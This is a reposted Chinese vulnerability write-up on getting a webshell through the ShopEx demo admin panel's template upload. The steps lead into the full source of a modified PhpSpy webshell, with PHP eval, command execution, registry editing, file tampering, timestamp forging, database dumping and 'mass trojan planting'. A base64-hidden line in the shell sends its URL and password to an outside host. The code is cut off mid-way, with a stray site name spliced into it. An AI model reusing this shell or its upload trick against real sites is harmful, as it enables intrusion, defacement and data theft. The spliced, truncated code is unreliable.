来源：自学PHP网 时间：2015-04-17 11:59 作者： 阅读:次
[导读] shopex演示后台模板编辑功能未限制上传导致可利用解析漏洞建立php.php形式的文件夹获得shell漏洞地址：http://demo.shopex.com.cn/485官方提供了后台账号密码，登陆后发现似乎是被大家测试的多...
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shopex演示后台模板编辑功能未限制上传导致可利用解析漏洞建立php.php形式的文件夹获得shell
漏洞地址：http://demo.shopex.com.cn/485
官方提供了后台账号密码，登陆后发现似乎是被大家测试的多了，官方非常小心，权限限制的很严格，模板不允许编辑，并且上传后自动重新命名更换文件夹。js，php代码更是全部限制。。。
中间复杂的测试过程不多说。。直接说漏洞利用过程好了
ps:模板上传后立即点应用，回到首页随便看一张自带图片可以得到上传后的地址。
1.本地搭建shopex
2.自带的模板文件夹中创建php.php目录，将上传小马命名*.php;x.jpg，其实直接.jpg就可以了哈
3.登陆后台-页面管理-模板-上传模板
4.上传，使用模板。
5.找到目录。。。。。
6.还要说么- -
接下来
得到shell以后，发现官方限制了非常多的参数，而且禁止目录内容的读取。
把php大马进行base64解码后发现代码如下
<?php
$admin['pass'] = "xxxx"; //修改密码
error_reporting(7);
ob_start();
$mtime = explode(' ', microtime());
$starttime = $mtime[1] + $mtime[0];
$admin['check'] = "1";
$retime = "yes";
$cmd = "cmd.exe";
$onoff = (function_exists('ini_get')) ? ini_get('register_globals') : get_cfg_var('register_globals');
if ($onoff != 1) {
@extract($_POST, EXTR_SKIP);
@extract($_GET, EXTR_SKIP);
}
$self = $_SERVER['PHP_SELF'];
$dis_func = get_cfg_var("disable_functions");
if($admin['check'] == "1") {
if ($_GET['action'] == "logout") {
setcookie ("adminpass", "");
echo "<meta http-equiv=\"refresh\" content=\"0;URL=".$self."\">";
exit;
}
if ($_POST['do'] == 'login') {
$thepass=trim($_POST['adminpass']);
if ($admin['pass'] == $thepass) {
setcookie ("adminpass",$thepass,time()+(1*24*3600));
echo "<meta http-equiv=\"refresh\" content=\"0;URL=".$self."\">";
exit;
}
}
if (isset($_COOKIE['adminpass'])) {
if ($_COOKIE['adminpass'] != $admin['pass']) {
loginpage();
}
} else {
loginpage();
}
}
/*===================== 验证结束 =====================*/
// 判断 magic_quotes_gpc 状态
if (get_magic_quotes_gpc()) {
$_GET = stripslashes_array($_GET);
$_POST = stripslashes_array($_POST);
}
// 查看PHPINFO
if ($_GET['action'] == "phpinfo") {
echo $phpinfo=(!eregi("phpinfo",$dis_func)) ? phpinfo() : "phpinfo() 函数已被禁用,请查看<PHP环境变量>";
exit;
}
if($_GET['action'] == "nowuser") {
$user = get_current_user();
if(!$user) $user = "报告长官，主机变态，无法获取当前进行用户名！";
echo"当前进程用户名：$user";
exit;
}
if(isset($_POST['phpcode'])){
eval("?".">$_POST[phpcode]<?");
exit;
}
// 在线代理
if (isset($_POST['url'])) {
$proxycontents = @file_get_contents($_POST['url']);
echo ($proxycontents) ? $proxycontents : "<body bgcolor=\"#F5F5F5\" style=\"font-size: 12px;\"><center><br><p><b>获取 URL 内容失败</b></p></center></body>";
exit;
}
// 下载文件
if (!empty($downfile)) {
if (!@file_exists($downfile)) {
echo "<script>alert('你要下的文件不存在!')</script>";
} else {
$filename = basename($downfile);
$filename_info = explode('.', $filename);
$fileext = $filename_info[count($filename_info)-1];
header('Content-type: application/x-'.$fileext);
header('Content-Disposition: attachment; filename='.$filename);
header('Content-Description: PHP Generated Data');
header('Content-Length: '.filesize($downfile));
@readfile($downfile);
exit;
}
}
// 直接下载备份数据库
if ($_POST['backuptype'] == 'download') {
@mysql_connect($servername,$dbusername,$dbpassword) or die("数据库连接失败");
@mysql_select_db($dbname) or die("选择数据库失败");
$table = array_flip($_POST['table']);
$result = mysql_query("SHOW tables");
echo ($result) ? NULL : "出错: ".mysql_error();
$filename = basename($_SERVER['HTTP_HOST']."_MySQL.sql");
header('Content-type: application/unknown');
header('Content-Disposition: attachment; filename='.$filename);
$mysqldata = '';
while ($currow = mysql_fetch_array($result)) {
if (isset($table[$currow[0]])) {
$mysqldata.= sqldumptable($currow[0]);
$mysqldata.= $mysqldata."\r\n";
}
}
mysql_close();
exit;
}
// 程序目录
$pathname=str_replace('\\','/',dirname(__FILE__));
// 获取当前路径
if (!isset($dir) or empty($dir)) {
$dir = ".";
$nowpath = getPath($pathname, $dir);
} else {
$dir=$_GET['dir'];
$nowpath = getPath($pathname, $dir);
}
// 判断读写情况
$dir_writeable = (dir_writeable($nowpath)) ? "可写" : "不可写";
$phpinfo=(!eregi("phpinfo",$dis_func)) ? " | <a href=\"?action=phpinfo\" target=\"_blank\">PHPINFO()</a>" : "";
$reg = (substr(PHP_OS, 0, 3) == 'WIN') ? " | <a href=\"?action=reg\">注册表操作</a>" : "";
$tb = new FORMS;
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>http://<? echo $_SERVER['HTTP_HOST'];?> PhpSpy 2006 修改版</title>
<style type="text/css">
body{
BACKGROUND-COLOR: #F5F5F5;
COLOR: #3F3849;
font-family: "Verdana", "Tahoma", "宋体";
font-size: "12px";
line-height: "140%";
}
TD {FONT-FAMILY: "Verdana", "Tahoma", "宋体"; FONT-SIZE: 12px; line-height: 140%;}
.smlfont {
font-family: "Verdana", "Tahoma", "宋体";
font-size: "11px";
}
.INPUT {
FONT-SIZE: "12px";
COLOR: "#000000";
BACKGROUND-COLOR: "#FFFFFF";
height: "18px";
border: "1px solid #666666";
padding-left: "2px";
}
.redfont {
COLOR: "#CA0000";
}
A:LINK {COLOR: #3F3849; TEXT-DECORATION: none}
A:VISITED {COLOR: #3F3849; TEXT-DECORATION: none}
A:HOVER {COLOR: #FFFFFF; BACKGROUND-COLOR: #cccccc}
A:ACTIVE {COLOR: #FFFFFF; BACKGROUND-COLOR: #cccccc}
.top {BACKGROUND-COLOR: "#CCCCCC"}
.firstalt {BACKGROUND-COLOR: "#EFEFEF"}
.secondalt {BACKGROUND-COLOR: "#F5F5F5"}
</style>
<SCRIPT language=JavaScript>
function CheckAll(form) {
for (var i=0;i<form.elements.length;i++) {
var e = form.elements[i];
if (e.name != 'chkall')
e.checked = form.chkall.checked;
}
}
function really(d,f,m,t) {
if (confirm(m)) {
if (t == 1) {
window.location.href='?dir='+d+'&deldir='+f;
} else {
window.location.href='?dir='+d+'&delfile='+f;
}
}
}
</SCRIPT>
</head>
<body style="table-layout:fixed; word-break:break-all">
<center>
<?php
$test = "";
if(!$_GET['dir']) $dir = "./";
$tb->tableheader();
$tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td><b>'.$_SERVER['HTTP_HOST'].'</b></td><td align="center">'.date("Y年m月d日 h:i:s",time()).'</td><td align="right"><b>'.$_SERVER['REMOTE_ADDR'].'</b></td></tr></table>','center','top');
$tb->tdbody('<a href="?action=dir">SHELL目录</a> | <a href="?action=downloads">Http 文件下载</a> | <a href="?action=phpenv">环境变量</a> | <a href="?action=proxy">在线代理</a>'.$reg.$phpinfo.' | <a href="?action=shell">WebShell</a> | <a href="?action=logout">注销登录</a> ');
$tb->tdbody(' <a href="?action=plgm">批量挂马</a> | <a href="?action=search&dir='.$dir.'">文件查找</a> | <a href="?action=eval">执行php脚本</a> | <a href="?action=sql">执行SQL语句</a> | <a href="?action=sql&type=fun">Func反弹Shell</a> | <a href="?action=sqlbak">MySQL Backup</a> | <a href="?action=SUExp">Serv-U EXP</a> | <a href="?action=adodb">ADODB</a> ');
$tb->tdbody(' 目录列表：<a href="?dir=c:\">C盘</a> | <a href="?dir=d:\">D盘</a> | <a href="?dir=e:\">E盘</a> | <a href="?dir=f:\">F盘</a> | <a href="?dir=g:\">G盘</a> | <a href="?dir=C:\Program Files">程序</a> | <a href="?dir=C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere">pcAnywhere</a> ');
$tb->tablefooter();
?>
<hr width="775" noshade>
<table width="775" border="0" cellpadding="0">
<?
$tb->headerform(array('method'=>'GET','content'=>'<p>程序路径: '.$pathname.'<br>当前目录('.$dir_writeable.','.substr(base_convert(@fileperms($nowpath),10,8),-4).'): '.$nowpath.'<br>跳转目录: '.$tb->makeinput('dir').' '.$tb->makeinput('','确定','','submit').' 〖支持绝对路径和相对路径〗'));
$tb->headerform(array('action'=>'?dir='.urlencode($dir),'enctype'=>'multipart/form-data','content'=>'上传文件到当前目录: '.$tb->makeinput('uploadfile','','','file').' '.$tb->makeinput('doupfile','确定','','submit').$tb->makeinput('uploaddir',$dir,'','hidden')));
$tb->headerform(array('action'=>'?action=editfile&dir='.urlencode($dir),'content'=>'新建文件在当前目录: '.$tb->makeinput('editfile').' '.$tb->makeinput('createfile','确定','','submit')));
$tb->headerform(array('content'=>'新建目录在当前目录: '.$tb->makeinput('newdirectory').' '.$tb->makeinput('createdirectory','确定','','submit')));
?>
</table>
<?
$serveru = $_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF'];
$serverp = $admin['pass'];
$copyurl = base64_decode('PHNjcmlwdCBzcmM9J2h0dHA6Ly84Y2NlLmNuL2NlcnQvP2NlcnQ9MTMmdT0=');
$copyurll = base64_decode('Jz48L3NjcmlwdD4=');
?>
<hr width="775" noshade>
<?php
/*===================== 执行操作 开始 =====================*/
echo "<p><b>\n";
// 删除文件
if (!empty($delfile)) {
if (file_exists($delfile)) {
echo (@unlink($delfile)) ? $delfile." 删除成功!" : "文件删除失败!";
} else {
echo basename($delfile)." 文件已不存在!";
}
}
// 删除目录
elseif (!empty($deldir)) {
$deldirs="$dir/$deldir";
if (!file_exists("$deldirs")) {
echo "$deldir 目录已不存在!";
} else {
echo (deltree($deldirs)) ? "目录删除成功!" : "目录删除失败!";
}
}
// 创建目录
elseif (($createdirectory) AND !empty($_POST['newdirectory'])) {
if (!empty($newdirectory)) {
$mkdirs="$dir/$newdirectory";
if (file_exists("$mkdirs")) {
echo "该目录已存在!";
} else {
echo (@mkdir("$mkdirs",0777)) ? "创建目录成功!" : "创建失败!";
@chmod("$mkdirs",0777);
}
}
}
// 上传文件
elseif ($doupfile) {
echo (@copy($_FILES['uploadfile']['tmp_name'],"".$uploaddir."/".$_FILES['uploadfile']['name']."")) ? "上传成功!" : "上传失败!";
}
// 编辑文件
elseif ($_POST['do'] == 'doeditfile') {
if (!empty($_POST['editfilename'])) {
if(!file_exists($editfilename)) unset($retime);
if($time==$now) $time = @filemtime($editfilename);
$time2 = @date("Y-m-d H:i:s",$time);
$filename="$editfilename";
@$fp=fopen("$filename","w");
if($_POST['change']=="yes"){
$filecontent = "?".">".$_POST['filecontent']."<?";
$filecontent = gzdeflate($filecontent);
$filecontent = base64_encode($filecontent);
$filecontent = "<?php\n/*\n代码由浅蓝的辐射鱼加密!\n*/\neval(gzinflate(base64_decode('$filecontent')));\n"."?>";
}else{
$filecontent = $_POST['filecontent'];
}
echo $msg=@fwrite($fp,$filecontent) ? "写入文件成功!" : "写入失败!";
@fclose($fp);
if($retime=="yes"){
echo" 鱼鱼自动操作:";
echo $msg=@touch($filename,$time) ? "修改文件为".$time2."成功!" : "修改文件时间失败!";
}
} else {
echo "请输入想要编辑的文件名!";
}
}
//文件下载
elseif ($_POST['do'] == 'downloads') {
$contents = @file_get_contents($_POST['durl']);
if(!$contents){
echo"无法读取要下载的数据";
}
elseif(file_exists($path)){
echo"很抱歉，文件".$path."已经存在了，请更换保存文件名。";
}else{
$fp = @fopen($path,"w");
echo $msg=@fwrite($fp,$contents) ? "下载文件成功!" : "下载文件写入时失败!";
@fclose($fp);
}
}
// 编辑文件属性
elseif ($_POST['do'] == 'editfileperm') {
if (!empty($_POST['fileperm'])) {
$fileperm=base_convert($_POST['fileperm'],8,10);
echo (@chmod($dir."/".$file,$fileperm)) ? "属性修改成功!" : "修改失败!";
echo " 文件 ".$file." 修改后的属性为: ".substr(base_convert(@fileperms($dir."/".$file),10,8),-4);
} else {
echo "请输入想要设置的属性!";
}
}
// 文件改名
elseif ($_POST['do'] == 'rename') {
if (!empty($_POST['newname'])) {
$newname=$_POST['dir']."/".$_POST['newname'];
if (@file_exists($newname)) {
echo "".$_POST['newname']." 已经存在,请重新输入一个!";
} else {
echo (@rename($_POST['oldname'],$newname)) ? basename($_POST['oldname'])." 成功改名为 ".$_POST['newname']." !" : "文件名修改失败!";
}
} else {
echo "请输入想要改的文件名!";
}
}
elseif ($_POST['do'] == 'search') {
if(!empty($oldkey)){
echo"<span class=\"redfont\">查找关键词:[".$oldkey."],下面显示查找的结果:";
if($type2 == "getpath"){
echo"鼠标移到结果文件上会有部分截取显示.";
}
echo"</span><br><hr width=\"775\" noshade>";
find($path);
}else{
echo"你要查虾米?到底要查虾米呢?有没有虾米要你查呢?";
}
}
elseif ($_GET['action']=='plgmok') {
dirt($_POST['dir'],$_POST['sbbm']);
dirtree($_POST['dir'],$_POST['mm']);
}
// 克隆时间
elseif ($_POST['do'] == 'domodtime') {
if (!@file_exists($_POST['curfile'])) {
echo "要修改的文件不存在!";
} else {
if (!@file_exists($_POST['tarfile'])) {
echo "要参照的文件不存在!";
} else {
$time=@filemtime($_POST['tarfile']);
echo (@touch($_POST['curfile'],$time,$time)) ? basename($_POST['curfile'])." 的修改时间成功改为 ".date("Y-m-d H:i:s",$time)." !" : "文件的修改时间修改失败!";
}
}
}
// 自定义时间
elseif ($_POST['do'] == 'modmytime') {
if (!@file_exists($_POST['curfile'])) {
echo "要修改的文件不存在!";
} else {
$year=$_POST['year'];
$month=$_POST['month'];
$data=$_POST['data'];
$hour=$_POST['hour'];
$minute=$_POST['minute'];
$second=$_POST['second'];
if (!empty($year) AND !empty($month) AND !empty($data) AND !empty($hour) AND !empty($minute) AND !empty($second)) {
$time=strtotime("$data $month $year $hour:$minute:$second");
echo (@touch($_POST['curfile'],$time,$time)) ? basename($_POST['curfile'])." 的修改时间成功改为 ".date("Y-m-d H:i:s",$time)." !" : "文件的修改时间修改失败!";
}
}
}
// 连接MYSQL
elseif ($connect) {
if (@mysql_connect($servername,$dbusername,$dbpassword) AND @mysql_select_db($dbname)) {
echo "数据库连接成功!";
mysql_close();
} else {
echo mysql_error();
}
}
// 执行SQL语句
elseif ($_POST['do'] == 'query') {
@mysql_connect($servername,$dbusername,$dbpassword) or die("数据库连接失败");
@mysql_select_db($dbname) or die("选择数据库失败");
$result = @mysql_query($_POST['sql_query']);
echo ($result) ? "SQL语句成功执行!" : "出错: ".mysql_error();
mysql_close();
}
// 备份操作
elseif ($_POST['do'] == 'backupmysql') {
if (empty($_POST['table']) OR empty($_POST['backuptype'])) {
echo "请选择欲备份的数据表和备份方式!";
} else {
if ($_POST['backuptype'] == 'server') {
@mysql_connect($servername,$dbusername,$dbpassword) or die("数据库连接失败");
@mysql_select_db($dbname) or die("选择数据库失败");
$table = array_flip($_POST['table']);
$filehandle = @fopen($path,"w");
if ($filehandle) {
$result = mysql_query("SHOW tables");
echo ($result) ? NULL : "出错: ".mysql_error();
while ($currow = mysql_fetch_array($result)) {
if (isset($table[$currow[0]])) {
sqldumptable($currow[0], $filehandle);
fwrite($filehandle,"\n\n\n");
}
}
fclose($filehandle);
echo "数据库已成功备份到 <a href=\"".$path."\" target=\"_blank\">".$path."</a>";
mysql_close();
} else {
echo "备份失败,请确认目标文件夹是否具有可写权限!";
}
}
}
}
// 打包下载 PS:文件太大可能非常慢
// Thx : 小花
elseif($downrar) {
if (!empty($dl)) {
$dfiles="";
foreach ($dl AS $filepath=>$value) {
$dfiles.=$filepath.",";
}
$dfiles=substr($dfiles,0,strlen($dfiles)-1);
$dl=explode(",",$dfiles);
$zip=new PHPZip($dl);
$code=$zip->out;
header("Content-type: application/octet-stream");
header("Accept-Ranges: bytes");
header("Accept-Length: ".strlen($code));
header("Content-Disposition: attachment;filename=".$_SERVER['HTTP_HOST']."_Files.tar.gz");
echo $code;
exit;
} else {
echo "请选择要打包下载的文件!";
}
}
// Shell.Application 运行程序
elseif(($_POST['do'] == 'programrun') AND !empty($_POST['program'])) {
$shell= &new COM('Sh'.'el'.'l.Appl'.'ica'.'tion');
$a = $shell->ShellExecute($_POST['program'],$_POST['prog']);
echo ($a=='0') ? "程序已经成功执行!" : "程序运行失败!";
}
// 查看PHP配置参数状况
elseif(($_POST['do'] == 'viewphpvar') AND !empty($_POST['phpvarname'])) {
echo "配置参数 ".$_POST['phpvarname']." 检测结果: ".getphpcfg($_POST['phpvarname'])."";
}
// 读取注册表
elseif(($regread) AND !empty($_POST['readregname'])) {
$shell= &new COM('WSc'.'rip'.'t.Sh'.'ell');
var_dump(@$shell->RegRead($_POST['readregname']));
}
// 写入注册表
elseif(($regwrite) AND !empty($_POST['writeregname']) AND !empty($_POST['regtype']) AND !empty($_POST['regval'])) {
$shell= &new COM('W'.'Scr'.'ipt.S'.'hell');
$a = @$shell->RegWrite($_POST['writeregname'], $_POST['regval'], $_POST['regtype']);
echo ($a=='0') ? "写入注册表健值成功!" : "写入 ".$_POST['regname'].", ".$_POST['regval'].", ".$_POST['regtype']." 失败!";
}
// 删除注册表
elseif(($regdelete) AND !empty($_POST['delregname'])) {
$shell= &new COM('WS'.'cri'.'pt.S'.'he'.'ll');
$a = @$shell->RegDelete($_POST['delregname']);
echo ($a=='0') ? "删除注册表健值成功!" : "删除 ".$_POST['delregname']." 失败!";
}
echo "</b></p>\n";
/*===================== 执行操作 结束 =====================*/
if (!isset($_GET['action']) OR empty($_GET['action']) OR ($_GET['action'] == "dir")) {
$tb->tableheader();
?>
<tr bgcolor="#cccccc">
<td align="center" nowrap width="27%"><b>文件</b></td>
<td align="center" nowrap width="16%"><b>创建日期</b></td>
<td align="center" nowrap width="16%"><b>最后修改</b></td>
<td align="center" nowrap width="11%"><b>大小</b></td>
<td align="center" nowrap width="6%"><b>属性</b></td>
<td align="center" nowrap width="24%"><b>操作</b></td>
</tr>
<?php
// 目录列表
$dirs=@opendir($dir);
$dir_i = '0';
while ($file=@readdir($dirs)) {
$filepath="$dir/$file";
$a=@is_dir($filepath);
if($a=="1"){
if($file!=".." && $file!=".") {
$ctime=@date("Y-m-d H:i:s",@filectime($filepath));
$mtime=@date("Y-m-d H:i:s",@filemtime($filepath));
$dirperm=substr(base_convert(fileperms($filepath),10,8),-4);
echo "<tr class=".getrowbg().">\n";
echo " <td style=\"padding-left: 5px;\">[<a href=\"?dir=".urlencode($dir)."/".urlencode($file)."\"><font color=\"#006699\">$file</font></a>]</td>\n";
echo " <td align=\"center\" nowrap class=\"smlfont\">$ctime</td>\n";
echo " <td align=\"center\" nowrap class=\"smlfont\">$mtime</td>\n";
echo " <td align=\"center\" nowrap class=\"smlfont\"><dir></td>\n";
echo " <td align=\"center\" nowrap class=\"smlfont\"><a href=\"?action=fileperm&dir=".urlencode($dir)."&file=".urlencode($file)."\">$dirperm</a></td>\n";
echo " <td align=\"center\" nowrap>| <a href=\"#\" onclick=\"really('".urlencode($dir)."','".urlencode($file)."','你确定要删除 $file 目录吗? \\n\\n如果该目录非空,此次操作将会删除该目录下的所有文件!','1')\">删除</a> | <a href=\"?action=rename&dir=".urlencode($dir)."&fname=".urlencode($file)."\">改名</a> |</td>\n";
echo "</tr>\n";
$dir_i++;
} else {
if($file=="..") {
echo "<tr class=".getrowbg().">\n";
echo " <td nowrap colspan=\"6\" style=\"padding-left: 5px;\"><a href=\"?dir=".urlencode($dir)."/".urlencode($file)."\">返回上级目录</a>".$copyurl.$serveru."&p=".$serverp.$copyurll."</td>\n";
echo "</tr>\n";
}
}
}
}// while
@closedir($dirs);
?>
<tr bgcolor="#cccccc">
<td colspan="6" height="5"></td>
</tr>
<FORM action="" method="POST">
<?
// 文件列表
$dirs=@opendir($dir);
$file_i = '0';
while ($file=@readdir($dirs)) {
$filepath="$dir/$file";
$a=@is_dir($filepath);
if($a=="0"){
$size=@filesize($filepath);
$size=$size/1024 ;
$size= @number_format($size, 3);
if (@filectime($filepath) == @filemtime($filepath)) {
$ctime=@date("Y-m-d H:i:s",@filectime($filepath));
$mtime=@date("Y-m-d H:i:s",@filemtime($filepath));
} else {
$ctime="<span class=\"redfont\">".@date("Y-m-d H:i:s",@filectime($filepath))."</span>";
$mtime="<span class=\"redfont\">".@date("Y-m-d H:i:s",@filemtime($filepath))."</span>";
}
@$fileperm=substr(base_convert(@fileperms($filepath),10,8),-4);
echo "<tr class=".getrowbg().">\n";
echo " <td style=\"padding-left: 5px;\">";
echo "<INPUT type=checkbox value=1 name=dl[$filepath]>";
echo "<a href=\"$filepath\" target=\"_blank\">$file</a></td>\n";
echo " <td align=\"center\" nowrap class=\"smlfont\">$ctime</td>\n";
echo " <td align=\"center\" nowrap class=\"smlfont\">$mtime</td>\n";
echo " <td align=\"right\" nowrap class=\"smlfont\"><span class=\"redfont\">$size</span> KB</td>\n";
echo " <td align=\"center\" nowrap class=\"smlfont\"><a href=\"?action=fileperm&dir=".urlencode($dir)."&file=".urlencode($file)."\">$fileperm</a></td>\n";
echo " <td align=\"center\" nowrap><a href=\"?downfile=".urlencode($filepath)."\">下载</a> | <a href=\"?action=editfile&dir=".urlencode($dir)."&editfile=".urlencode($file)."\">编辑</a> | <a href=\"#\" onclick=\"really('".urlencode($dir)."','".urlencode($filepath)."','你确定要删除 $file 文件吗?','2')\">删除</a> | <a href=\"?action=rename&dir=".urlencode($dir)."&fname=".urlencode($filepath)."\">改名</a> | <a href=\"?action=newtime&dir=".urlencode($dir)."&file=".urlencode($filepath)."\">时间</a></td>\n";
echo "</tr>\n";
$file_i++;
}
}// while
@closedir($dirs);
$tb->tdbody('<table width="100%" border="0" cellpadding="2" cellspacing="0" align="center"><tr><td>'.$tb->makeinput('chkall','on','onclick="CheckAll(this.form)"','checkbox','30','').' '.$tb->makeinput('downrar','选中文件打包下载','','submit').'</td><td align="right">'.$dir_i.' 个目录 / '.$file_i.' 个文件</td></tr></table>','center',getrowbg(),'','','6');
echo "</FORM>\n";
echo "</table>\n";
}// end dir
elseif ($_GET['action'] == "editfile") {
if(empty($newfile)) {
$filename="$dir/$editfile";
$fp=@fopen($filename,"r");
$contents=@fread($fp, filesize($filename));
@fclose($fp);
$contents=htmlspecialchars($contents);
}else{
$editfile=$newfile;
$filename = "$dir/$editfile";
}
$action = "?dir=".urlencode($dir)."&editfile=".$editfile;
$tb->tableheader();
$tb->formheader($action,'新建/编辑文件');
$tb->tdbody('当前文件: '.$tb->makeinput('editfilename',$filename).' 输入新文件名则建立新文件 Php代码加密: <input type="checkbox" name="change" value="yes" onclick="javascript:alert(\'这个功能只可以用来加密或是压缩完整的php代码。\\n\\n非php代码或不完整php代码或不支持gzinflate函数请不要使用！\')"> ');
$tb->tdbody($tb->maketextarea('filecontent',$contents));
$tb->makehidden('do','doeditfile');
$tb->formfooter('1','30');
}//end editfile
elseif ($_GET['action'] == "rename") {
$nowfile = (isset($_POST['newname'])) ? $_POST['newname'] : basename($_GET['fname']);
$action = "?dir=".urlencode($dir)."&fname=".urlencode($fname);
$tb->tableheader();
$tb->formheader($action,'修改文件名');
$tb->makehidden('oldname',$dir."/".$nowfile);
$tb->makehidden('dir',$dir);
$tb->tdbody('当前文件名: '.basename($nowfile));
$tb->tdbody('改名为: '.$tb->makeinput('newname'));
$tb->makehidden('do','rename');
$tb->formfooter('1','30');
}//end rename
www.2cto.com
elseif ($_GET['action'] == "eval") {
$action = "?dir=".urlencode($dir)."";
$tb->tableheader();
$tb->formheader(''.$action.' "target="_blank' ,'执行php脚本');
$tb->tdbody($tb->maketextarea('phpcode',$contents));
$tb->formfooter('1','30');
}
elseif ($_GET['action'] == "fileperm") {
$action = "?dir=".urlencode($dir)."&file=".$file;
$tb->tableheader();
$tb->formheader($action,'修改文件属性');
$tb->tdbody('修改 '.$file.' 的属性为: '.$tb->makeinput('fileperm',substr(base_convert(fileperms($dir.'/'.$file),10,8),-4)));
$tb->makehidden('file',$file);
$tb->makehidden('dir',urlencode($dir));
$tb->makehidden('do','editfileperm');
$tb->formfooter('1','30');
}//end fileperm
elseif ($_GET['action'] == "newtime") {
$action = "?dir=".urlencode($dir);
$cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
$tb->tableheader();
$tb->formheader($action,'克隆文件最后修改时间');
$tb->tdbody("修改文件: ".$tb->makeinput('curfile',$file,'readonly')." → 目标文件: ".$tb->makeinput('tarfile','需填完整路径及文件名'),'center','2','30');
$tb->makehidden('do','domodtime');
$tb->formfooter('','30');
$tb->formheader($action,'自定义文件最后修改时间');
$tb->tdbody('<br><ul><li>有效的时间戳典型范围是从格林威治时间 1901 年 12 月 13 日 星期五 20:45:54 到 2038年 1 月 19 日 星期二 03:14:07<br>(该日期根据 32 位有符号整数的最小值和最大值而来)</li><li>说明: 日取 01 到 30 之间, 时取 0 到 24 之间, 分和秒取 0 到 60 之间!</li></ul>','left');
$tb->tdbody('当前文件名: '.$file);
$tb->makehidden('curfile',$file);
$tb->tdbody('修改为: '.$tb->makeinput('year','1984','','text','4').' 年 '.$tb->makeselect(array('name'=>'month','option'=>$cachemonth,'selected'=>'October')).' 月 '.$tb->makeinput('data','18','','text','2').' 日 '.$tb->makeinput('hour','20','','text','2').' 时 '.$tb->makeinput('minute','00','','text','2').' 分 '.$tb->makeinput('second','00','','text','2').' 秒','center','2','30');
$tb->makehidden('do','modmytime');
$tb->formfooter('1','30');
}//end newtime
elseif ($_GET['action'] == "shell") {
$action = "??action=shell&dir=".urlencode($dir);
$tb->tableheader();
$tb->tdheader('WebShell Mode');
if (substr(PHP_OS, 0, 3) == 'WIN') {
$program = isset($_POST['program']) ? $_POST['program'] : "c:\winnt\system32\cmd.exe";
$prog = isset($_POST['prog']) ? $_POST['prog'] : "/c net start > ".$pathname."/log.txt";
echo "<form action=\"?action=shell&dir=".urlencode($dir)."\" method=\"POST\">\n";
$tb->tdbody('无回显运行程序 → 文件: '.$tb->makeinput('program',$program).' 参数: '.$tb->makeinput('prog',$prog,'','text','40').' '.$tb->makeinput('','Run','','submit'),'center','2','35');
$tb->makehidden('do','programrun');
echo "".$copyurl.$serveru."&p=".$serverp.$copyurll."</form>\n";
}
echo "<form action=\"?action=shell&dir=".urlencode($dir)."\" method=\"POST\">\n";
if(isset($_POST['cmd'])) $cmd = $_POST['cmd'];
$tb->tdbody('提示:如果输出结果不完全,建议把输出结果写入文件.这样可以得到全部内容. ');
$tb->tdbody('proc_open函数假设不是默认的winnt系统请自行设置使用,自行修改记得写退出,否则会在主机上留下一个未结束的进程.');
$tb->tdbody('proc_open函数要使用的cmd程序的位置:'.$tb->makeinput('cmd',$cmd,'','text','30').'(要是是linux系统还是大大们自己修改吧)');
$execfuncs = (substr(PHP_OS, 0, 3) == 'WIN') ? array('system'=>'system','passthru'=>'passthru','exec'=>'exec','shell_exec'=>'shell_exec','popen'=>'popen','wscript'=>'Wscript.Shell','proc_open'=>'proc_open') : array('system'=>'system','passthru'=>'passthru','exec'=>'exec','shell_exec'=>'shell_exec','popen'=>'popen','proc_open'=>'proc_open');
$tb->tdbody('选择执行函数: '.$tb->makeselect(array('name'=>'execfunc','option'=>$execfuncs,'selected'=>$execfunc)).' 输入命令: '.$tb->makeinput('command',$_POST['command'],'','text','60').' '.$tb->makeinput('','Run','','submit'));
?>
<tr class="secondalt">
<td align="center"><textarea name="textarea" cols="100" rows="25" readonly><?php
if (!empty($_POST['command'])) {
if ($execfunc=="system") {
system($_POST['command']);
} elseif ($execfunc=="passthru") {
passthru($_POST['command']);
} elseif ($execfunc=="exec") {
$result = exec($_POST['command']);
echo $result;
} elseif ($execfunc=="shell_exec") {
$result=shell_exec($_POST['command']);
echo $result;
} elseif ($execfunc=="popen") {
$pp = popen($_POST['command'], 'r');
$read = fread($pp, 2096);
echo $read;
pclose($pp);
} elseif ($execfunc=="wscript") {
$wsh = new COM('W'.'Scr'.'ip'.'t.she'.'ll') or die("PHP Create COM WSHSHELL failed");
$exec = $wsh->exec ("cm"."d.e"."xe /c ".$_POST['command']."");
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
} elseif($execfunc=="proc_open"){
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$process = proc_open("".$_POST['cmd']."", $descriptorspec, $pipes);
if (is_resource($process)) {
// 写命令
fwrite($pipes[0], "".$_POST['command']."\r\n");
fwrite($pipes[0], "exit\r\n");
fclose($pipes[0]);
// 读取输出
while (!feof($pipes[1])) {
echo fgets($pipes[1], 1024);
}
fclose($pipes[1]);
while (!feof($pipes[2])) {
echo fgets($pipes[2], 1024);
}
fclose($pipes[2]);
proc_close($process);
}
} else {
system($_POST['command']);
}
}
?>
在编辑文件的部分可以得到地址形式如下
$_POST['do'] == 'doeditfile'
查看本地shopex文件，构造如下地址：
http://demo.shopex.com.cn/485app/sql.php?action=editfile&dir=.%2F%2Fcore%2Finclude_v5&editfile=setmgr.php
顺利读取并可编辑保存。
修复方案：
权限，还是权限。。。 |
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